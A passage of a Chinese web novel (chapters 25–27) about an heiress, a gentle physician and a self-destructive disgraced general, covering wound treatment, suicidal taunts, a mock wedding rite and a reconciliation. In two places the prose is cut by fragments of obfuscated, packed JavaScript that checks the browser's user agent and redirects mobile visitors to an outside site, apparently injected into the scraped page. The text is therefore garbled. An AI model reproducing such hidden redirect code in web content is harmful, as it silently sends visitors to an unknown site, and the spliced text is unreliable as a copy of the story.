上官慜之垂眉,看了眼衣襟上捏得死紧的手,再掀起眼皮,懒懒盯着沈盈息,嗤笑:“这算什么威胁?” 这不算威胁? 纪和致的视线从沈盈息脸上,慢慢落到她手中的少年脸上。 少年满脸冷恹,垂下眼去,看不见少女眼中的怒火,自然也不可能瞧见她眼底一闪而过的受伤。 这个叫上官慜之的花奴,似乎在想方设法地让他面前的少女失望。 纪和致眼神一闪。 沈盈息尚未松开揪着少年衣襟的手掌,如果那少年敢抬头再看看她,就会发现少女泛白的脸色,和那双倔强地用怒火掩盖的含泪黑眸。 白衣青年将此幕纳入眼底,长眸忽而闪过一丝诡谲的怜悯。 他的怜悯自然是朝着少年的。 沈盈息这时正要说些什么,纪和致举步上前,一只手掌轻轻握住了少女绷紧的手腕。 青年温柔地握了握掌下纤细的腕骨,轻声细语地阻断了少女将要出口的言辞:“息息,饿了吗,我今晚买了淮香楼的烤鸭,还热着,不若去我房间先用些?” 沈盈息胸膛一个大起伏,她死死盯着仍旧半生不死垂眼的少年,用眼神在逼问少年刚才那句话的意思,一时对青年的话未做理睬。 纪和致抿唇,静了静,又微微一笑,温热的掌心往上圈住少女的小臂。 他慢条斯理地继续道:“息息,上官公子身上有伤,我先给他治伤,他许是疼得紧了,这才没耐心。我们不如等等,其他事情稍候再聊,好吗?” 少女僵持的手腕微松,她眼神微动,五指有松开的趋势。 纪和致见状,乌黑的长眸闪过一丝愉悦,他不急不缓地收紧自己的手掌,握住少女手腕,将她的手从少年衣襟处轻轻扯了下去。 “走吧,息息,我带你去我的房间。” 沈盈息还想再看下上官慜之,但刚转过去的脸就被一只宽大的手给扶住。 她转移视线,看向遮她视线的高大青年。 纪和致低头,温柔地弯起眸子:“别看了,先照顾好自己再去关心别人吧。” 闻言,沈盈息突然瘪起嘴,乌黑圆眸里蓦然冒出了许多委屈。 她拽下青年的手,抱在怀里,又非常用力地握了握他的手掌。 纪和致始终平和地看着她,在她握住自己的手时,便主动地用宽大的掌心包裹住她,而后反握了回去,力气不轻不重,但足够让她感受到自己的存在。 似乎也在向少女温和地证明着,他还在陪着她。 沈盈息被他细致内敛的动作勾动,心跳了一跳,她抬头,撞进青年黝黑又沉静的眸光里。 “怎么了?”纪和致微笑着回视她。 “呜——” 少女一下没绷着,她活了十五年,向来众星捧月,任意妄为,就没碰过像上官慜之这样固执又血腥的疯子。 这么一天下来,她气过骂过,各种情绪翻天倒地地涌上心头,全赖少年那时时刻刻都在脱序的疯态。 和上官慜之相处,好像在和一柄嵌满宝石的短刃共舞,这刃还是没鞘的。 此时忽而迎上纪和致沉静又包容的目光,沈盈息好像躺进了一只长毛的大猫怀里,平稳又安全。 “阿致……” 少女呜咽地唤了一声,而后在青年怔忪之时,猛地扑进他的怀里。 怀里忽而扑进了一道温暖的、轻盈的重量,纪和致心跳重重地漏了一拍。 来不及收束的双臂呆呆地伸在半空,而怀里的脑袋任性地在他胸膛前拱来拱去。 暖绒绒的圆脑袋,丰盈的乌发顶着青年精致下颚,蹭上蹭下,像一只受了委屈亟待安慰的小兽。 纪和致缓缓回神,慢慢地将手掌搭上少女的肩膀,眼神随之落下,久久落在少女的身上。 她委屈了。 白衣青年轻轻地拍着少女纤薄后背,嗓音低沉:“乖息息,受委屈了,乖息息。” 这样哄孩子的话,纪和致许久没听过。 自爹娘惨死,他忙着为自己的生存筑起防护的墙,忙着磨刀铸剑,忙着长袖善舞地挡开一切牛鬼蛇神。 许多年了。 没曾想再听见这样柔软的话,会是从自己口中听来的。 这样的感受……似乎与儿时趴在爹娘膝上并无不同。 甚而更多了一丝贪恋。 许是因为他是安慰孩子的人,予人爱语,原来比承爱更容易满足。 纪和致黑眸微软,心底某处有什么东西,随着一句句抚慰少女的温言而慢慢消解。 …… 沈盈息进入药铺后堂,这儿便是纪和致的居所了,并不十分宽敞,不过被男人打扫得十分干净。 墙上又挂着数幅写得甚好的墨宝,颇有股“斯是陋室,惟吾德馨”的文雅。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426620|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >沈盈息方才被纪和致稳定的情绪治愈,现在看见他私密的住所如此干净静雅,对他的好感更上一分。 看了会儿,沈盈息有些可惜地坐下。 纪和致性情温和安静,这样的性子固然给人如沐春风之感,只可惜这春风是表面的,走过春风,是严冷的寒冬。 纪和致太冷静了。 不会为心爱姑娘的三言两语而放弃他心中的坚守。 更何况,沈盈息思虑到她也还未成为纪和致喜欢的姑娘呢,他们现在只是普普通通的朋友,一点逾越的余地都没有。 相比之下,上官慜之疯也就疯点吧,但他越疯,就越虚弱。 执刃危险,回报却丰。 纪和致安置好沈盈息,提起门口的药箱,便迈开沉稳的步伐朝外间走去。 沈盈息咬着筷子,望着青年颀长的背影,默默用牙尖磨了磨竹筷。 如纪和致这般温润稳重的人,竟也会露出杀伐果断的模样吗? 他如何会去修无情道的呢? 沈盈息摇了摇头,想不明白,索性决定填饱肚子为先。 桌上除了淮香楼的烤鸭,还有两盘小炒,俱是色香味俱全的美味。 夹起小炒细细品尝了一番,沈盈息的眼睛越来越亮。 这也太好吃了! 可这样好吃的菜品,沈盈息却从未在京城的任何一家酒楼里吃过。 …… 慢慢地咽下食物,沈盈息不由想到,这该不会是纪和致自己做的罢? 他还会做饭? 想想,又不觉得惊奇了。 纪和致作为孤儿,无人照顾他,他自己一人过活当然得会做饭。 这个技能倒意外地贴合纪大夫的人设呢。 吃着热腾腾的饭菜,沈盈息享受地眯起眼,一身疲惫都在菜香中卸去了。 屋外。 纪大夫收拾好药箱,拿出伤药与干净的白布,他脸色冷漠,垂眼看着少年,口吻是医师特有的冷静漠然:“哪儿受了伤?” 上官慜之抬眸,阴冷幽黑的瞳孔像蛇一样蜇了一下面前的青年。 后者眼神无波无澜,对少年的防备与排斥视而不见,他只道:“不要浪费我的时辰,也别叫息息担心。” 听见青年口中的息息,少年眼神忽有触动,紧扣桌沿的手掌青筋暴起,似是挣扎。 半晌之后,用力至极乃至泛白的指尖兀然松了力气,血色遽然涌回,指尖垂落于身侧,红得像缀了血。 “……” 上官慜之扯下宽袍,露出瘦削但不失肌肉的上身。 纪和致的目光扫过少年上身纵横交错的可怖伤口,打眼看去只能从繁杂的色彩中寻找了一点可怜的干净完好的皮肤。 其余的地方尽是淤青猩紫血红、肉粉骨白乱糟糟的一通。 惨状如此,纪和致依旧目光沉静,像是在看一滩翻了的颜料一样无波无动,漠然得令人心惊。 他开始用薄刃刮去少年背后早已腐烂多日的血肉,待那些面积夸张的腐肉刮干净,大夫和伤者的脚下已积了一大滩浑浊的血泊。 纪和致垂眼,淡淡地看了那摊血肉后,想的竟是幸而让息息提前进去了。 这场面实是不好看。 而且她若真瞧见了,或许还会极心疼他刀下的这人,兴许心疼得落泪都未可知。 白衣青年余光瞥过少年隐忍惨白的面庞,空漠的脸忽而攒出一丝讽笑。 “纪大夫,” 寂静的室内,少年虚弱但阴冷的嗓音响起。 他侧过脸,汗湿的黑发牢牢地沾覆着雪白的颊面,黑白分明得过分,艳色惊人。 乌发雪肤下,那张红唇却血色不减,张张合合,说出的话字字沾着恶意:“纪大夫,你喜欢沈息罢,那么你现在看我很不高兴罢,如何,乘此良机,不若杀了我。” 少年说罢,鬼魅地阴笑一声,而后还甚而贴心地补充道:“放心,我会伪装成自杀的模样,你一个大夫,当然抢不过我这个疯子的手。” 上官慜之的声音越发诡秘,像从地府里钻出来的一般,阴气森森的:“这样,你的息息姑娘只伤心一会儿,便会再要投入你的怀抱了……” “如何,好买卖啊,纪大夫。” 纪和致静了一会儿,垂眸冷淡地捏动薄刃,慢条斯理地把一块好肉卸下,他方温声道:“好买卖。但可惜,我不会在自己的医馆杀人,更不会杀自己的病人。” 少年轻嗤:“道貌岸然。” 纪和致有条不紊地收起薄刃,打开金疮药,淡声:“你想死,出了这纪得药铺,我可以送你一场好死。” “但在你死前,满足她,包括她的一切要求。” 26. 第 26 章【9月3更】 第26章 沈盈息侧身坐在椅上,头歪在椅背上,一手落在椅背后,另一只手勾着腰上的绿绦把玩。 纪和致进门时,见到的便是少女这般百无聊赖的模样。 见到她时,青年便下意识勾起了一抹笑容。 他不自觉地将目光投注到沈盈息显得格外轻松愉悦的表情上。 白衣青年轻轻放下药箱,走到少女身前,视线从她手中的绿绦转向她的脸,“累了?” 沈盈息唔了一声,顿了下,低着头还用指尖勾缠着丝绦,静了会儿,忽而似不经意问道:“上官慜之他……怎么样呢?” 纪和致唇边笑容几不可察地淡了一点,他坐到她对面的椅子上,给自己倒了杯凉透的浓茶,“他挺不好,不仅有严重外伤,内力也孱弱亏虚。早年被毒损坏了基本,日后再注意,或许也活不过三十。” 沈盈息立即放下把玩的绦带,扭身将手搭在桌上,她面露焦急,晃了晃纪和致一只搭在桌沿的手臂:“我见他发疯时很大的劲头呢,怎么就亏虚孱弱至此了?活不过三十,那岂不是说他只有十几年的寿命了!” “这、和致,”少女心疼和心焦都快溢出眼中了,她有些慌张无神,不住地摇着纪和致的手臂,声声切切:“和致你有没有办法,你医术很好的,一定有办法的对吧,救救他啊,他还这样年轻……” 纪和致不动如山,沉静地看着沈盈息。 他不说话,沈盈息渐渐地明白了什么,抿起红唇,眼眶霎时也红了一圈。 纪和致温和地抚上少女的手臂,轻轻地拍了拍,“人各有命。再者,他虽短寿,但平日与常人无异,不必额外看顾,更不必为了照顾他而委屈了自己。” 话虽如此,却还是避免不了少女露出了伤心的神情。 她有些回不过神似地,眉心焦虑地皱紧,眼神半空地垂落着,娇美的脸没了闲适,看起来可怜得紧。 纪和致恪守他医师的职责,对病人的亲属轻言细语地宽慰了一番。 上身往前倾了倾,泰半身影都压在了少女眼前,他轻而易举地将眼前人泛红的眼尾和纤长浓密的眼睫纳入眼帘。 长睫之下,一口红唇紧紧抿着,透露着主人的不安。 白衣青年的视线从少女的唇移到她白了三分的脸上,伸出手,轻柔地拂开她眼前碎发,“息息这么担心上官慜之,可见待他是真的很喜欢了。” 沈盈息眼睫微颤,敛下神情:“我一个人喜欢有何用,他疯得快没人性了。人家现在就把我当成个能完成他愿望的刽子手,巴不得我的刀赶快割开他的脖子。他喜欢,也只会喜欢我手里的刀。” 这刀自然不单单指刀。 实质上,指的是沈盈息手里的权势和金钱,她这位连皇室都得礼待三分的巨豪,处置一个花楼贱奴,根本也是随手的事,一点麻烦都不会惹上身。 他们都是聪明人,谁都对此心知肚明。 纪和致听见少女用这般可怜兮兮的口吻抱怨,眼眸微沉,但笑道:“息息这样善良的姑娘,当然不会亲自动手杀人。这上官慜之真是太强人所难。” 他这样一说,沈盈息方才的义愤忽而又消散了些许,她犹豫道:“和致你说的没错。” 但她还是不会放弃上官慜之的。 即便上官慜之恶劣、疯魔、虚伪,她却还喜欢他。 轻而易举地从少女的犹豫里解读出这诸般信息,纪和致摩挲了下指尖,咬了咬牙根。 高大的青年变换了下坐姿,侧坐着正面少女,他垂眉,神情温柔,循循善诱:“息息这样喜欢他,是此人的大幸。没关系,息息,你现在可以出去看看他。或许多相处几日,他就会喜欢上你了,他怎么可能不喜欢你呢?” 闻言,沈盈息的眼睛霎时亮了起来,半垂的眼皮掀起,露出满目莹润,眼中的期待和欣喜亮得灼人,“真的吗?和致,我知道你很厉害,你医了那么多人,也见过那么多人,肯定看人很准。所以你再说一次,上官慜之会喜欢我吗,你说呀,你说我就相信你。” 人的信任是很宝贵的礼物。 可她对他的信任,居然被用在这种地方吗? 纪和致长眉轻蹙,可这是他自己酿就的局面,稍稍避开了少女无比晶亮的眼神,他垂眉用平静的声音道:“当然。” “太好啦!” 得到肯定,少女欣悦非常地站起了身。 她乐呵呵地踱了一会儿步子,但仍旧压不下她的兴奋。 扭头一看纪和致像尊石像似地端坐椅中,忽而又冲过来搂着他的脖子,用力地抱了他一下。 抱完之后,她将双臂搭在男人双肩上,俯下的脸庞在近距离下白腻得不可思议,“谢谢你和致,你果真是我的好朋友!” 好朋友于是扯起唇角,对少女笑了笑道:“上官慜之方才用一个条件换了我的药钱。息息,你喜欢的这位疯子,一个月内不会求你杀他了,自然,也不会自杀。” “哇……”沈盈息简直叹为观止。 这药这么值钱? 她可不信。 定然是纪和致踩准了上官慜之哪个弱点,叫他不得不答应了下来。 明明是下了功夫才替她博取了利益,但转述时却用这样一副轻飘飘的口吻。 “真是了不起啊,纪大夫。” 望着青年温和雅致的眉眼,沈盈息感慨:“和致,如果你做了官,还不知有多少酒囊饭袋要成为你手下败将呢。” 纪和致余光扫过肩侧的少女小臂,笑了笑,“做官也没意思,勾心斗角一辈子,不过只是皇帝的棋子,倒没做乡野村夫来得自在。” 沈盈息思忖,点点头:“也是。伴君如伴虎,你看慜之,半年前还是位比亲王的世子爷,如今却……” 说罢,少女忽而收回手臂,站直了身子,“慜之……我要去看看他,和致,我先走了。” 纪和致坐在椅上,看着少女想起旁人时那喜欢又担忧的模样,神情安静。 房门打开又关闭,沈盈息的身影消失,独属于她身上的清香仍在屋内久久徘徊。 烛火幽幽,照亮青年寂寥的半张脸庞。 …… 沈盈息穿过药铺后院,进入前堂的屋子,屋中的上官慜之背对着她坐在椅中,没穿上衣的上身被厚厚的白布包裹着,布上已洇出了浅浅的血色。 她推门出来的脚步声在寂静的室内很清晰,沈盈息确信上官慜之听见了,但他没有回首查看,异样沉默地坐着。 他孤身坐在那儿,面前桌上的烛火不知何时已尽然灭了。 他面前没有光,所有的烛火都点在他身后,正在沈盈息身侧。 沈盈息默然,望了会儿身处孤暗的少年半晌,终于拿起身侧的灯盏,往他走去。 “慜之,别呆了,走啊,去逛夜市!” 少女玉珠相击似的动听声音骤然间击碎死寂,她那活泼青绿的身影翩跹间落到桌前,带来一身的暖光。 烛火轻轻晃动,摇曳落在少年瑞丽的面庞上,照出他深深的眼窝和纤长眼睫。 光色进一步推进,沈盈息俯身,手指捏着衣角,轻柔擦过少年额间的冷汗。 她很仔细认真地干着这关心的活计,但显然不甚熟稔,钝圆的指甲不可避免地刮过额肤,留下一道清浅的绯红印迹。 上官慜之眼睫微颤,抬起眼帘,少女干笑一声,抱歉地望着他:“呃,其实我不大会。” 上官慜之淡淡垂眼,拂开她的手,“看得出来。” 沈盈息撇嘴,将被拂开的手背到身后,而后直起腰身,口吻不大高兴:“走了,你还想住别人家啊?” “……”上官慜之掀起眼睫看她,但也只看了一眼,而后抿紧唇站了起来。 花楼的衣裳里全是血与碎肉,脏得不行,沈盈息一脚踢开那脏衣服,收回脚发现鞋面上沾染了血迹,嫌弃地啧了一声。 她身前的上官慜之便望向她的鞋面,原先干净的绣着精致暗纹的黑底绿靴上果真粘着团血污。 血污暗浊,完全破坏了锦靴的精致金贵。 沈盈息也发现自己鞋上的不完美,表情不大好,她一把拉过上官慜之的手,又是一声惊呼。 “噫——你手上怎么这么滑?” 上官慜之阴沉沉的表情忽地微动,殷红薄唇勾起一抹恶意的笑,他伸出手,慢慢地在她面前展示:“都是血哦……” 少年的手生得和他的脸一样好看,指节修长,指骨分明,现下指缝指节上都裹满了污血,简直比脏了的锦靴还不堪。 沈盈息气恼地拍下他的手:“脏死了!” 上官慜之扯出一抹讽笑,对少女的嫌弃鄙薄早有预料似地,无所谓一样收回手,而后又无所谓地把手往身后藏了藏。 沈盈息看不见他的无所谓,她念叨着他什么时候沾上的一手血,居然还让她握手,真是不可理喻。 “不可理喻!”她越说越气,而后一把拽住上官慜之的手臂,带着他冲向耳室。 上官慜之闲适漫步,轻松地跟在小跑的少女身后,他一边随意打量着四处碰到的桌椅,一边说着风凉话:“嫌脏就别带奴出翠玉楼啊,贵、人。” 沈盈息咬牙,回头狠狠瞪了他一眼,但什么都没说,又掉过了头。 一把推开耳室的门 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434942|139650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,她松开手,径直到漆黑的里面寻何物去了。 上官慜之垂下被少女甩开的手臂,自己也跟着甩了甩手腕。 动作大了些,牵扯了后背的伤口,一阵撕裂的剧痛从背后传来,他同时也感受到那包裹的白布被血更进一步浸湿了。 里间传来乒乒乓乓的声响,她也不知在忙活什么,搞得惊天动地的。 上官慜之武功被废,什么好耳力和眼力都没了,他只能看着一团深重的黑暗里有道模糊的黑影,左右走来走去,像是翻找。 他看着这片黑暗和模糊,眼中迅速闪过什么,忽而不耐烦地啧了声,“喂,教训人还需要挑挑拣拣那么久工具吗。刚才桌上那灯盏,你拿它砸我的头,头上最容易见血了,喂……” 话还没说完,那道模糊的身影忽然冲破了黑暗,怒气冲冲地赶到他面前,两手在两边举着,动不了手,她仰起脸用气愤的眼神瞪着他:“成天到晚的就知道说些吓人的话,你除了会说这些,还会不会说人话了?” 上官慜之嗤笑,眼神从她右手一个葫芦瓢和左手一个葫芦瓢掠过。 沈盈息注意到他的视线,把两个葫芦瓢敲得啪啪响,“再看,小心真敲你哦。” “……那烦请加急处理,”上官慜之低头,将光洁饱满的额送到少女眼下。 “你,”沈盈息翻了个白眼,也不跟他死犟拌嘴了,她利落出了耳室,丢下命令:“跟上!” 上官慜之缓缓抬起脸,黑暗中,一双阴鸷的眸子又黑又冷。 天真无凿的贵人,和年前的他真像。 烂施什么好心。 令他恶心。 恶心得他立刻想去死。 “喂,上官慜之!跟上!” 不远处再次传来少女的声音,清脆动听,让人瞬时间想起清晨熹微的阳光和透明的空气。 上官慜之蜷了蜷手指,几息之后,抬起长腿跟了上去。 走到少女身侧,发现她拿瓢是为了舀水。 院内有一口深井,她拽着绳子,提了半桶井水上来。 沈盈息把两只手葫芦瓢扔进水桶,分别用瓢舀了点井水出来。 她两手拿着盛水的瓢,转身看见上官慜之直直地站在院门口,不由小心地轻声唤道:“快来快来。” 上官慜之缓动身形,望着少女小心谨慎地回望,像提防谁出现似地,黑瞳里迅速闪过一丝迷惑。 走到她面前,她一把将瓢顶上他胸膛,“拿手接着,欸欸,别用你那只脏手啊!” 上官慜之唇边笑意泛冷,却依言用干净的左手接过葫芦瓢。 他唇边的笑还挂着时,唇角忽而又抵上冰凉的湿漉漉的瓢沿。 从瓢沿处溅出的井水飞上鼻尖,又滑落下唇瓣。 把瓢强硬抵上他唇瓣的少女威严地盯着他的眼睛,命令道:“快喝一口!” 上官慜之别开脸,想要侧开她的捉弄。 但侧开的脸迅速被一只冰凉柔嫩的手钳住了,沈盈息掐着他的下巴,咬唇有些焦急地道:“喝呀,马上和致该出来了!” 原来她方才防的是那白皮大夫。 上官慜之漆黑的眸幽幽地扫了眼沈盈息,后者期待地望着他。 少女眼中的光彩十分惑人,她或许自己都不知道,她用这种期待又信任的眼神看别人时,很容易叫人误会她。 她的这双眼睛太轻易让人误会,自己现在是她最真心实意对待的人。 上官慜之幽黑的眼瞳缓缓流出一丝浓稠的阴暗,他移开望着沈盈息的视线,为尽快远离她,便漠然垂首,抿了口瓢中的冷水。 他一抿完,沈盈息当即十分欣悦地笑起来。 她不说什么,把她手里的瓢扔回了水桶,而后双手搭上他的手臂,俯首从他手中的瓢口里饮了口井水。 待饮完,她眼中晶亮更甚,简直像凡间里亮起了两颗星。 上官慜之目光迅速从她濡湿的红唇处掠过,他如被针扎了似地扔开瓢,别过脸阴冷道:“你做什么?” “行礼呀!”少女雀跃,她嘻嘻笑,背手踱步,志得意满:“星月有证,你我方才已算行了合卺礼了,你我如今是正经的夫妻了!” “你、你说什么?”少年昳丽面孔遽然掠过一丝愕然。 沈盈息靠近,他竟不自主地退后了一步。 她不恼,抬起手掌轻挑地拍了拍少年‘花容失色’的面孔,“别装糊涂啦,慜将军可是最聪慧的人了,怎么样,我说到做到吧。” 她说罢,骄傲地仰起下巴,“喏,这下你该信了我是喜欢你的吧。好了夫君,我们回家吧,今晚可不能住别人家里。” 27. 第 27 章【9月4更】 第27章 沈盈息很难理解此刻的场景。 葫芦瓢被丢进水桶的水声沉浮了一阵,在和另一只瓢的碰撞中逐渐消失。 月色惨白,简直带着几丝疯癫。 月光之下的黑发少年近在咫尺,但那双眼里的空漠却叫人觉得离他很远很远,或者说,让人觉得他已不在人世了。 上身裹着的洇血白布是他的丧服,他盯着沈盈息时,像看着死人。 他现在或许看谁都像看死人,因为他现在根本也不像个活人。 他紧紧盯着她,与其说是在判断她所谓的喜欢是真是假,不如说他是在从她身上找,找能和他归为同类的地方。 一点疯狂、一点绝望、一点痛苦……无论什么都好,只要能和现在的他有相似之处的、能和他归为同类的。 ——但是没有。 因为向来就没有。 当然,如果他不是翠玉楼的敏心,一年前、不、获罪前,他们能相遇的话,那就有了。 很多的相似之处。 天真、肆意、与生俱来的高傲和自信。 沈盈息被上官慜之这样紧盯着,搭在他小臂上的手不由颤了下,双脚更是下意识地后退了一步。 她只退了一小步。 甚至没离开他影子的范围。 但少年黑沉的眼珠忽而动了下。 视线从少女初露恐惧的眼神,移到她后退防备的姿势上。 “……” “这是喜欢?” 上官慜之眼神嘲讽,声音喑哑冰冷,如同从深渊里螺旋上来的一阵阴风。 沈盈息哽了下,“你、你怎么突然变成这样……?” 如果说之前的上官慜之是个疯子,那到底也是个活疯子。 现在的上官慜之倒没疯癫,但却露出了一脸死相。 像是死了几十年的老鬼爬上人间,阴沉着一张青白脸孔,盯着人像盯着自己还完好无损的尸骸。 活人死相,比死人本身更可怖。 更何况还用这种充满粘稠占有欲的阴暗眼神,死死盯着活人。 被上官慜之看了小半会儿,沈盈息望着他黑黝黝的眼珠,像堕入了一潭无光的池底,阴冷又潮湿。 “你怎么、一直看着我?”沈盈息收回手,抱着手臂,迅速地瞥了眼上官慜之,而后又收回视线,盯着脚面:“怪渗人的。” 寂静月银中,只听少年低低地嗤笑一声。 沈盈息扭过脸,欲命令他别这样。 可鼻尖忽而扑来一阵阴风,上官慜之遽然跨开长腿,结实冰冷的手掌下一秒攥住了她的手腕,另一只手掐住她脸颊,强迫她抬起头,只能看着他。 “这就是你的选择?” 少年红唇微启,冰冷的吐息如蛇信般游离到面庞上。 沈盈息被捏住脸颊,说话有些含糊,“你放、开、” 上官慜之侧了侧脸颊,歪着脸仔仔细细地盯着她,眼眸里蕴含着她根本不会明白的暗色。 他俯下脸,鼻尖触着她的,如此亲密无间的触碰,少年却用比对陌生人还冷漠的声音道:“你以为你,沈息,能担得起你做出的每个选择吗?” “别太自负了。” “……上官慜之……”少女被掐着脸,被迫看着面前少年可怕的神情,她眼底的害怕更为明显,一汪泪光极快地浮出黑眸。 冰凉的指腹忽而触到了一点异样的湿润,少女温热的泪水滑落指尖,濡湿了指腹上干涸的血迹。 十指连心,上官慜之迅速扯开手掌,好似动作一快,就能忽略那滴泪落在手上的灼心感一般。 他撤开手的同时,侧过脸刻意避开看她的眼神。 少年攥紧被泪滴落的指尖,指甲深深地顶着手心,一脸森寒。 上过战场,踏过尸山血海,一脸寒意的少年浑身煞气,令人不寒而栗。 沈盈息抽噎了一声,透过泪蒙蒙的视线瞟了眼煞气四溢的上官慜之,抹了抹泪,转过身又从木桶里拿出葫芦瓢。 她拿着盛了水的葫芦瓢,走到少年面前。 纤细的手腕捧着瓢,抬起手臂,少女用含着微微哭腔的嗓音发号施令:“脏死了,洗手!” …… 上官慜之侧眸看向沈盈息,看见她水洗过清澄又柔软的黑眸时,紧握的拳头猝不及防地一松。 沈盈息见他不理,一言不发地扯过他紧绷的小臂,才发现他握着拳,又甩了甩他的手腕,“把手张开。” 听着她闷声的、还带着几分哭音的命令,上官慜之抿唇。 少女于是抓住少年松开的手,将他的手迅速浸入水中,让水略微化开了他手上干涸的血污后,又迅速地带着他的手撤出水瓢。 交握的双手迅速离开瓢面时,带起一连串的水珠,水珠从瓢沿处滴落至地,落入月色之中,恰如银珠飞泄,带着支离破碎的美感。 沈盈息兀然间扔掉浅红的水瓢,而后强硬地把自己干净的五指塞入少年没洗干净、还被水染得更脏的血手指缝中。 上官慜之感受到少女用了极大的力气,近乎用绞的动作与他十指相扣。 她一边握着她的手,一边仰头,看着过高的他倔强道:“我能!我怎么不能,你凭什么认为我不能,你没有证据说我……不能……” 她说着说着,乌黑的眸子里骤然间就起了水雾,水雾凝成水珠,一滴滴从漂亮的眼中滚落。 月色清斐,照在少女的泪眼上,清晰地照出了她如雨湿蝶翼的长睫、蝶翼下晶莹清透的宝石似的眼珠和如花晕绯红的眼尾。 雨中海棠、月中海棠。 十二分的清美。 上官慜之看着少女越说越委屈,她哭着举起和他交缠着的双手,“你的手脏死了!” 说罢,她松开手,把掌心摊开面对他,又哭着说:“好了,我的手现在和你一样脏了,上官慜之,你满意了吧!?” 上官慜之看见少女手心的血污时,瞳仁猛地紧缩起来。 他神经质地颤了下眼珠,僵硬地看着沈盈息哭得湿润的脸,红唇惘然张启,却只发出了几个不成音节的单音。 这不算完,沈盈息用力收回手,再次捡起他摔到腿侧的脏手,再再次用近乎“绞”的动作与他十指相扣,她倏然握着他的手转身,又气又哭背对着他嚷道:“可我不满意!我们为什么要这样脏,我给我们打了水的!” 她一连说了三次我们。 上官慜之怔然间,忽地感到自己的手浸入了冷水之中。 少女带着他把手摔进木桶里,粗暴地洗刷着他们两人的手,一遍遍仔仔细细地洗刷着,血污很快将木桶里的水染红。 两个少年交握在一起的双手早已干净无比,可沈盈息还在洗着,她搓着他的指腹、关节、手背,搓得他手背泛红、手指通红。 如果他不阻止,她或许能把双方的手都洗破皮。 上官慜之按住沈盈息的手腕,哑声道:“够了。” “够了?”沈盈息咬唇,抬起湿漉漉的眼睛瞪了他,“怎么就够了?你不是嫌自己脏吗!不是你觉得不够吗?” 她低下头,语气凶狠,“上官慜之,你也就这点伎俩是么?吓我,想把我吓跑,你以为我是胆小鬼,你以为我会轻易认输,你以为你天生该死,你以为别人都盼着你死,你以为你以为……你怎么这么多自以为是!?” 沈盈息语气越来越急,说到最后,她怒得很,一把甩开他的手,拾起地上的葫芦瓢胡乱砸向他。 葫芦砸到身上发出沉闷的响,轻飘飘的瓢,一点伤害性都没有。 即便如此,上官慜之却还是发觉了少女下意识地僵硬了一瞬。 她在紧张他。 即便只是一只小小的瓢砸到他身上。 她亦然紧张他。 上官慜之的喉咙突然间干涸无比,他几乎尝到了血腥味,不知是哪儿出了血,似乎是咬得过紧的舌根,又似乎是喉道连接的更深的胸膛深处。 他的心好像被砸出了个大洞。 血糊糊地响着大风。 “……沈息……” 沈盈息抹了把泪,气哼哼又别扭地走近,“干嘛,砸疼了吧。活该,谁、谁叫你不听我的话,哪儿疼,我……” 给你看看…… 沈盈息被一把巨力扯入怀中,少年的怀抱宽阔又冰凉,还硬邦邦地挤着她的脸。 上官慜之抱着她,蓦然将一颗毛茸茸的头颅埋进她颈侧,他高挺的鼻梁也凉凉的,戳着她温软的颈肉。 沈盈息愣了下,省过神,抿起唇。 双手被圈在少年胸前,动弹不得,便只好用白嫩的脸颊蹭了蹭少年的胸膛,“喂,我刚才……” “对不起。” 沈盈息缓缓睁大双眼,“什么?你说什么?” 上官慜之紧紧地抱着她,像是要将少女融入骨血,他深深地埋在少女的颈侧,闻着她身上温暖的清香,重复地、低声道:“对不起、对不起。” 也许是上官慜之誓死不屈的印象太深,沈盈息乍然听到他说对不起,一时间竟有些疑惑。 她险些想追问他发生了什么,想像研究更新的剑法一样研究更新了一遍的上官慜之。 但她及时住嘴,沉默了一会儿,按捺下心中的探索欲,闷闷地嗯了声。 “回家吧,慜之。” 少年秀挺的身子一顿,过了会儿,有些生疏而显得格外干涩的回答声方响起:“家……你的家。” 沈盈息推开少年,抬眼望着他,“我们的。” 上官慜之的指尖颤了颤,“沈息,你当真不是在骗我?”、 少年低眸看来,极深极黑的眼瞳里弥漫着她看不懂的浓郁情绪。 沈盈息移开眼神,沉思了片刻,而后抬起头,回望少年阴暗到极致甚而显得几分崩溃的视线,认真道:“至少在我死前,我不骗你。” 爱他,就像爱自己还没学过的剑谱。 她很认真,从不懈怠的。 而且她也很信守承诺。 少年的心忽而因沈盈息的一句话溃然失守了。 一直以来的疯狂、阴沉、恐怖,在她三番两次的反击和坚守下,迅速地败逃。 慜将军没打过这么难又这么简单的仗。 十七岁的少年久经沙场,但在情场上 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“唔,”右侧的少女思考了片刻,最后诚恳地摇摇头:“不知道啊。不过我知道你十三四岁就上战场了,跟着你叔叔打了很多胜仗。第一次听说你慜将军的头衔时,就觉得你的慜字很好听。” 关于上官慜之的记忆确实存在于沈盈息的凡人记忆之中。 事实上,慜将军曾做过天下所有少年的英雄。 少年默然,随着她的话回忆起那段辉煌璀璨的日子。 “十三岁。”他补充,“只是因为这个,你才喜欢我?当初在翠玉楼,你那么快就将敏心拼成……” “对啊,”沈盈息点头,“慜字嘛,我以前比熟悉自己的名字还熟悉你的字呢。” 她思及二人初见,忽而露出个些微赧然和遗憾的笑:“就是可惜我以前没见过你,当初没认出你,不然也不会让你在翠玉楼里平白受那么多苦。” 她说的是少年背后的伤。 她还以为是这十几天受的。 